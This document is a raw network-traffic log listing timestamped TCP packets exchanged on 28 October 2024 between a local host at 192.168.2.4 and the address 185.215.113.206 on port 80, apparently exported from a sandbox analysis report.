Oct 28, 2024 06:27:05.974231005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974242926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974242926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974248886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974263906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974273920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974273920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974281073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974302053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974317074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974337101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.006683111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006731033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006756067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006779909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006804943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006814957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.006828070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006845951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.006855011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006880045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.006886959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.006906033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.006947994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007050991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007086992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007087946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007112026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007134914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007138014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007158041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007164955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007189035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.007189035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007210970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.007235050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.092994928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093069077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093107939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093103886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093162060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093172073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093172073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093198061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093208075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093254089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093255997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093306065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093312979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093355894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093359947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093391895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093417883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093427896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093455076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093466043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093473911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093501091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093512058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093534946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093549013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093569040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093585014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093602896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093617916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093640089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093650103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093678951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093692064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093724966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.093949080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.093982935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.094017982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.094019890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.094037056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.094070911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125539064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125602961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125655890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125689983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125713110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125724077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125756979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125785112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125785112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125792980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125813007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125835896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125854969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125871897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125889063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125909090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125921011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125946045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.125957966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.125977993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.126000881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.126020908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.126449108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.126482964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.126517057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.126528978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.126528978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.126565933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211626053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211677074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211711884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211744070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211777925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211803913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211812019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211805105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211805105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211805105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211868048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211899042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211899042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211903095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211930037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211939096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.211951017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.211973906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212003946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212009907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212021112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212071896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212166071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212201118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212212086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212244987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212254047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212286949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212321043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212340117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212341070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212357044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212364912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212403059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212714911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212765932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212770939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212816954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212817907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212851048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212863922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212887049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.212894917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.212932110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245706081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245758057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245795965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245801926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245831966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245862961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245862961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245870113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245887995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245906115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245914936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245944023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245954037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.245979071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.245992899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246017933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246025085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246068001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246170998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246206045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246215105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246242046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246248007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246275902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246289015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246315002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246323109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246345997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.246371984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.246391058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.330727100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330779076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330815077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330858946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330894947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330948114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.330950975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.330982924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331010103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331018925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331029892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331059933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331070900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331104994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331132889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331139088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331154108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331170082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331185102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331202984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331216097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331237078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331262112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331274033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331300020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331331968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331415892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331468105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331470966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331502914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331531048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331536055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331553936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331569910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331584930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331604004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331619024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331640005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331650019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331670046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.331692934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.331715107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363497019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363543987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363580942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363616943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363651037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363651037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363686085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363718033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363719940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363746881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363759995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363790035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363794088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363815069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363837957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363845110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363868952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.363897085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.363920927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364018917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364052057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364079952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364088058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364098072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364147902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364259005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364293098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364326954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364327908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364355087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364363909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.364375114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.364435911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449218988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449268103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449326992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449362040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449361086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449399948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449408054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449435949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449469090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449475050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449491024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449517012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449527025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449567080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449579954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449598074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449626923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449636936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449666023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449671984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449686050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449708939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449722052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449743986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449759007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449791908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.449965000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449981928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.449996948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450028896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450045109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450061083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450062990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450062990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450093031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450131893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450598955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450615883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450639009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450654030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450670004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.450675964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450700045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.450721979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482129097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482153893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482172012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482183933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482189894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482208014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482217073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482224941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482239008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482244968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482261896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482269049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482280970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482310057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482310057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482335091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482691050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482727051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482762098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482795954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.482795954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482796907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482824087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.482839108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.483000994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.483035088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.483067989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.483069897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.483095884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.483105898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.483114958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.483153105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568186045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568213940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568231106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568238974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568247080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568255901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568272114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568293095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568329096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568372965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568463087 CET	80	49730	185.215.113.206	192.168.2.4
